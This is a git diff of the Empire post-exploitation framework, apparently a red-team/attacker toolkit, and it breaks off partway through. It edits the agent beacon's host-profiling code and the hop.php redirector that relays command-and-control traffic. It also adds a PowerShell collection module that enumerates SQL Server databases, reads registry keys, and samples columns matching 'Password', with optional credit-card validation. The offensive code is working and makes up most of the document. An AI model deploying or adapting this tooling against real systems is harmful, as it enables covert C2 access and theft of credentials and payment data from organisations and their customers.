diff --git a/README.md b/README.md index 4118432..9369375 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,8 @@ Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https: Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/ +Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/ + ## Contribution Rules Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions. diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 3c078cb..0533114 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -222,7 +222,7 @@ function Invoke-Empire { $str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName; $p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress); $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; - if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; + #if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; $str+="|$ip" $str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0]; diff --git a/data/misc/ReflectivePick_x64_orig.dll b/data/misc/ReflectivePick_x64_orig.dll index f71c44e..0555a0f 100755 Binary files a/data/misc/ReflectivePick_x64_orig.dll and b/data/misc/ReflectivePick_x64_orig.dll differ diff --git a/data/misc/ReflectivePick_x86_orig.dll b/data/misc/ReflectivePick_x86_orig.dll index 1ba89d0..527dd04 100755 Binary files a/data/misc/ReflectivePick_x86_orig.dll and b/data/misc/ReflectivePick_x86_orig.dll differ diff --git a/data/misc/hop.php b/data/misc/hop.php index 24942f8..e1cd196 100644 --- a/data/misc/hop.php +++ b/data/misc/hop.php @@ -1,18 +1,22 @@ array( 'method' => 'GET' ), ); + $headers = array('Hop-Name' => $hopName); if ($optionalHeaders !== null) { - $aContext['http']['header'] = $optionalHeaders; + $headers['Cookie'] = $optionalHeaders; } + $aContext['http']['header'] = prepareHeaders($headers); $cxContext = stream_context_create($aContext); echo file_get_contents($url, False, $cxContext); } @@ -20,13 +24,16 @@ function do_get_request($url, $optionalHeaders = null) function do_post_request($url, $data, $optionalHeaders = null) { + global $hopName; $params = array('http' => array( 'method' => 'POST', 'content' => $data )); + $headers = array('Hop-Name' => $hopName); if ($optionalHeaders !== null) { - $params['http']['header'] = $optionalHeaders; + $headers['Cookie'] = $optionalHeaders; } + $params['http']['header'] = prepareHeaders($headers); $ctx = stream_context_create($params); $fp = @fopen($url, 'rb', false, $ctx); if (!$fp) { @@ -39,11 +46,24 @@ function do_post_request($url, $data, $optionalHeaders = null) echo $response; } +function prepareHeaders($headers) { + $flattened = array(); + + foreach ($headers as $key => $header) { + if (is_int($key)) { + $flattened[] = $header; + } else { + $flattened[] = $key.': '.$header; + } + } + + return implode("\r\n", $flattened); +} if ($_SERVER['REQUEST_METHOD'] === 'GET') { $requestURI = $_SERVER['REQUEST_URI']; if(isset($_COOKIE['session'])) { - return do_get_request($server.$requestURI, "Cookie: session=".str_replace(' ', '+', $_COOKIE['session'])); + return do_get_request($server.$requestURI, "session=".str_replace(' ', '+', $_COOKIE['session'])); } else { return do_get_request($server.$requestURI); @@ -56,7 +76,7 @@ else { $postdata = file_get_contents("php://input"); if(isset($_COOKIE['session'])) { - return do_post_request($server.$requestURI, $postdata, "Cookie: session=".str_replace(' ', '+', $_COOKIE['session'])); + return do_post_request($server.$requestURI, $postdata, "session=".str_replace(' ', '+', $_COOKIE['session'])); } else { return do_post_request($server.$requestURI, $postdata); diff --git a/lib/modules/powershell/management/redirector.py b/data/misc/inactive_modules/redirector.py similarity index 95% rename from lib/modules/powershell/management/redirector.py rename to data/misc/inactive_modules/redirector.py index ed8706d..e0c6bd5 100644 --- a/lib/modules/powershell/management/redirector.py +++ b/data/misc/inactive_modules/redirector.py @@ -1,5 +1,4 @@ from lib.common import helpers - class Module: def __init__(self, mainMenu, params=[]): @@ -166,8 +165,8 @@ Invoke-Redirector""" else: listenerName = values['Value'] # get the listener options and set them for the script - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(values['Value']) - script += " -ConnectHost " + str(host) + [Name,Host,Port,CertPath,StagingKey,DefaultDelay,DefaultJitter,DefaultProfile,KillDate,WorkingHours,DefaultLostLimit,BindIP,ServerVersion] = self.mainMenu.listeners.activeListeners[listenerName]['options'] + script += " -ConnectHost " + str(Host) elif option.lower() != "agent": # check if we're adding this redirector as a pivot listener diff --git a/data/module_source/collection/Get-SQLColumnSampleData.ps1 b/data/module_source/collection/Get-SQLColumnSampleData.ps1 new file mode 100644 index 0000000..9704282 --- /dev/null +++ b/data/module_source/collection/Get-SQLColumnSampleData.ps1 @@ -0,0 +1,929 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } Process { + if (-not $Instance) { $Instance = $env:COMPUTERNAME } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if(-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + elseif ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + elseif (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} +Function Get-SQLConnectionTest { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut + ) + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } Process { + if(-not $Instance) { $Instance = $env:COMPUTERNAME } + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + try { + $Connection.Open() + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + $Connection.Close() + $Connection.Dispose() + } catch { + $ErrorMessage = $_.Exception.Message + "$Instance : Connection Failed." + "Error: $ErrorMessage" + } + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } End { + $TblResults + } +} +Function Get-SQLQuery2 { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) { + $Connection.Open() + "$Instance : Connection Success." + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + #pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } End { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults} + } +} +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + + if($Query) { + try { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + $Connection.Close() + $Connection.Dispose() + } catch { + #Pass + } + } + else + { + Write-Output -InputObject 'No query provided to Get-SQLQuery function.' + Break + } + } + + End + { + $TblQueryResults + } +} +Function Get-SQLColumn { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database name.')] + [string]$DatabaseName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Table name.')] + [string]$TableName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter by exact column name.')] + [string]$ColumnName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Column name using wildcards in search. Supports comma seperated list.')] + [string]$ColumnNameSearch, + + [Parameter(Mandatory = $false, + HelpMessage = "Don't select tables from default databases.")] + [switch]$NoDefaults, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Table for output + $TblColumns = New-Object -TypeName System.Data.DataTable + + # Setup table filter + if($TableName) + { + $TableNameFilter = " and TABLE_NAME like '%$TableName%'" + } + else + { + $TableNameFilter = '' + } + + # Setup column filter + if($ColumnName) + { + $ColumnFilter = " and column_name like '$ColumnName'" + } + else + { + $ColumnFilter = '' + } + + # Setup column filter + if($ColumnNameSearch) + { + $ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'" + } + else + { + $ColumnSearchFilter = '' + } + + # Setup column search filter + if($ColumnNameSearch) + { + $Keywords = $ColumnNameSearch.split(',') + + [int]$i = $Keywords.Count + while ($i -gt 0) + { + $i = $i - 1 + $Keyword = $Keywords[$i] + + if($i -eq ($Keywords.Count -1)) + { + $ColumnSearchFilter = "and column_name like '%$Keyword%'" + } + else + { + $ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'" + } + } + } + } + + Process + { + # Note: Tables queried by this function typically require sysadmin or DBO privileges. + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup NoDefault filter + if($NoDefaults) + { + # Get list of databases + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess -NoDefaults + } + else + { + # Get list of databases + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess + } + + # Get tables for each database + $TblDatabases | + ForEach-Object -Process { + # Get database name + $DbName = $_.DatabaseName + + # Define Query + $Query = " USE $DbName; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + TABLE_CATALOG AS [DatabaseName], + TABLE_SCHEMA AS [SchemaName], + TABLE_NAME as [TableName], + COLUMN_NAME as [ColumnName], + DATA_TYPE as [ColumnDataType], + CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength] + FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1 + $ColumnSearchFilter + $ColumnFilter + $TableNameFilter + ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + # Append results + $TblColumns = $TblColumns + $TblResults + } + } + + End + { + # Return data + $TblColumns + } +} +Function Get-SQLDatabase { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database name.')] + [string]$DatabaseName, + [Parameter(Mandatory = $false, + HelpMessage = 'Only select non default databases.')] + [switch]$NoDefaults, + [Parameter(Mandatory = $false, + HelpMessage = 'Only select databases the current user has access to.')] + [switch]$HasAccess, + [Parameter(Mandatory = $false, + HelpMessage = 'Only select databases owned by a sysadmin.')] + [switch]$SysAdminOnly, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDatabases = New-Object -TypeName System.Data.DataTable + $null = $TblDatabases.Columns.Add('ComputerName') + $null = $TblDatabases.Columns.Add('Instance') + $null = $TblDatabases.Columns.Add('DatabaseId') + $null = $TblDatabases.Columns.Add('DatabaseName') + $null = $TblDatabases.Columns.Add('DatabaseOwner') + $null = $TblDatabases.Columns.Add('OwnerIsSysadmin') + $null = $TblDatabases.Columns.Add('is_trustworthy_on') + $null = $TblDatabases.Columns.Add('is_db_chaining_on') + $null = $TblDatabases.Columns.Add('is_broker_enabled') + $null = $TblDatabases.Columns.Add('is_encrypted') + $null = $TblDatabases.Columns.Add('is_read_only') + $null = $TblDatabases.Columns.Add('create_date') + $null = $TblDatabases.Columns.Add('recovery_model_desc') + $null = $TblDatabases.Columns.Add('FileName') + $null = $TblDatabases.Columns.Add('DbSizeMb') + $null = $TblDatabases.Columns.Add('has_dbaccess') + + if($DatabaseName) { + $DatabaseFilter = " and a.name like '$DatabaseName'" + } else { + $DatabaseFilter = '' + } + + if($NoDefaults) { + $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')" + } else { + $NoDefaultsFilter = '' + } + + if($HasAccess) { + $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1' + } else { + $HasAccessFilter = '' + } + + if($SysAdminOnly) { + $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1" + } else { + $SysAdminOnlyFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + if($TestConnection) { + if( -not $SuppressVerbose) { + "$Instance : Connection Success." + } + } else { + if( -not $SuppressVerbose) { + "$Instance : Connection Failed." + } + return + } + + $SQLServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password + if($SQLServerInfo.SQLServerVersionNumber) { + $SQLVersionShort = $SQLServerInfo.SQLServerVersionNumber.Split('.')[0] + } + + $QueryStart = " SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + a.database_id as [DatabaseId], + a.name as [DatabaseName], + SUSER_SNAME(a.owner_sid) as [DatabaseOwner], + IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin], + a.is_trustworthy_on, + a.is_db_chaining_on," + + if([int]$SQLVersionShort -ge 10) { + $QueryVerSpec = ' + a.is_broker_enabled, + a.is_encrypted, + a.is_read_only,' + } + + $QueryEnd = ' + a.create_date, + a.recovery_model_desc, + b.filename as [FileName], + (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) + from sys.master_files where name like a.name) as [DbSizeMb], + HAS_DBACCESS(a.name) as [has_dbaccess] + FROM [sys].[databases] a + INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1' + + $Filters = " + $DatabaseFilter + $NoDefaultsFilter + $HasAccessFilter + $SysAdminOnlyFilter + ORDER BY a.database_id" + + $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters" + + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + $TblResults | ForEach-Object -Process { + if([int]$SQLVersionShort -ge 10) { + $is_broker_enabled = $_.is_broker_enabled + $is_encrypted = $_.is_encrypted + $is_read_only = $_.is_read_only + } else { + $is_broker_enabled = 'NA' + $is_encrypted = 'NA' + $is_read_only = 'NA' + } + + $null = $TblDatabases.Rows.Add( + $_.ComputerName, + $_.Instance, + $_.DatabaseId, + $_.DatabaseName, + $_.DatabaseOwner, + $_.OwnerIsSysadmin, + $_.is_trustworthy_on, + $_.is_db_chaining_on, + $is_broker_enabled, + $is_encrypted, + $is_read_only, + $_.create_date, + $_.recovery_model_desc, + $_.FileName, + $_.DbSizeMb, + $_.has_dbaccess + ) + } + + } End { + $TblDatabases + } +} +Function Get-SQLServerInfo { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblServerInfo = New-Object -TypeName System.Data.DataTable + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password + if($IsSysadmin.IsSysadmin -eq 'Yes') { + $SysadminSetup = " + DECLARE @MachineType SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', + @value_name = N'ProductType', + @value = @MachineType output + DECLARE @ProductName SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', + @value_name = N'ProductName', + @value = @ProductName output" + $SysadminQuery = ' @MachineType as [OsMachineType], + @ProductName as [OSVersionName],' + } else { + $SysadminSetup = '' + $SysadminQuery = '' + } + + $Query = " + DECLARE @SQLServerInstance varchar(250) + DECLARE @SQLServerServiceName varchar(250) + if @@SERVICENAME = 'MSSQLSERVER' + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' + set @SQLServerServiceName = 'MSSQLSERVER' + END + ELSE + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) + set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) + END + + DECLARE @ServiceaccountName varchar(250) + EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @SQLServerInstance, + N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' + + DECLARE @AuthenticationMode INT + EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', + N'Software\Microsoft\MSSQLServer\MSSQLServer', + N'LoginMode', @AuthenticationMode OUTPUT + + $SysadminSetup + + SELECT '$ComputerName' as [ComputerName], + @@servername as [Instance], + DEFAULT_DOMAIN() as [DomainName], + @SQLServerServiceName as [ServiceName], + @ServiceAccountName as [ServiceAccount], + (SELECT CASE @AuthenticationMode + WHEN 1 THEN 'Windows Authentication' + WHEN 2 THEN 'Windows and SQL Server Authentication' + ELSE 'Unknown' + END) as [AuthenticationMode], + CASE SERVERPROPERTY('IsClustered') + WHEN 0 + THEN 'No' + ELSE 'Yes' + END as [Clustered], + SERVERPROPERTY('productversion') as [SQLServerVersionNumber], + SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], + serverproperty('Edition') as [SQLServerEdition], + SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], + SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], + $SysadminQuery + RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], + SYSTEM_USER as [Currentlogin], + '$IsSysadmin' as [IsSysadmin], + '$ActiveSessions' as [ActiveSessions]" + $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblServerInfo = $TblServerInfo + $TblServerInfoTemp + $TblServerInfo + } End { + } +} +Function Get-SQLSession { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'PrincipalName.')] + [string]$PrincipalName + ) + Begin { + $TblSessions = New-Object -TypeName System.Data.DataTable + $null = $TblSessions.Columns.Add('ComputerName') + $null = $TblSessions.Columns.Add('Instance') + $null = $TblSessions.Columns.Add('PrincipalSid') + $null = $TblSessions.Columns.Add('PrincipalName') + $null = $TblSessions.Columns.Add('OriginalPrincipalName') + $null = $TblSessions.Columns.Add('SessionId') + $null = $TblSessions.Columns.Add('SessionStartTime') + $null = $TblSessions.Columns.Add('SessionLoginTime') + $null = $TblSessions.Columns.Add('SessionStatus') + if($PrincipalName) { + $PrincipalNameFilter = " and login_name like '$PrincipalName'" + } else { + $PrincipalNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = " USE master; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + security_id as [PrincipalSid], + login_name as [PrincipalName], + original_login_name as [OriginalPrincipalName], + session_id as [SessionId], + last_request_start_time as [SessionStartTime], + login_time as [SessionLoginTime], + status as [SessionStatus] + FROM [sys].[dm_exec_sessions] + ORDER BY status + $PrincipalNameFilter" + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblResults | % -Process { + if ($NewSid) { + $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') + if ($NewSid.length -le 10) { + $Sid = [Convert]::ToInt32($NewSid,16) + } else { + $Sid = $NewSid + } + $null = $TblSessions.Rows.Add( + [string]$_.ComputerName, + [string]$_.Instance, + $Sid, + [string]$_.PrincipalName, + [string]$_.OriginalPrincipalName, + [string]$_.SessionId, + [string]$_.SessionStartTime, + [string]$_.SessionLoginTime, + [string]$_.SessionStatus + ) + } + } + } End { + $TblSessions + } +} +Function Get-SQLSysadminCheck { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblSysadminStatus = New-Object -TypeName System.Data.DataTable + if($CredentialName) { + $CredentialNameFilter = " WHERE name like '$CredentialName'" + } else { + $CredentialNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.Status -eq 'Accessible' } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp + } End { + $TblSysadminStatus + } +} +Function Get-SQLColumnSampleData { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = "Don't output anything.")] + [switch]$NoOutput, + [Parameter(Mandatory = $false, + HelpMessage = 'Number of records to sample.')] + [int]$SampleSize = 1, + [Parameter(Mandatory = $false, + HelpMessage = 'Comma seperated list of keywords to search for.')] + [string]$Keywords = 'Password', + [Parameter(Mandatory = $false, + HelpMessage = 'Database name to filter on.')] + [string]$DatabaseName, + [Parameter(Mandatory = $false, + HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')] + [switch]$ValidateCC, + [Parameter(Mandatory = $false, + HelpMessage = "Don't select tables 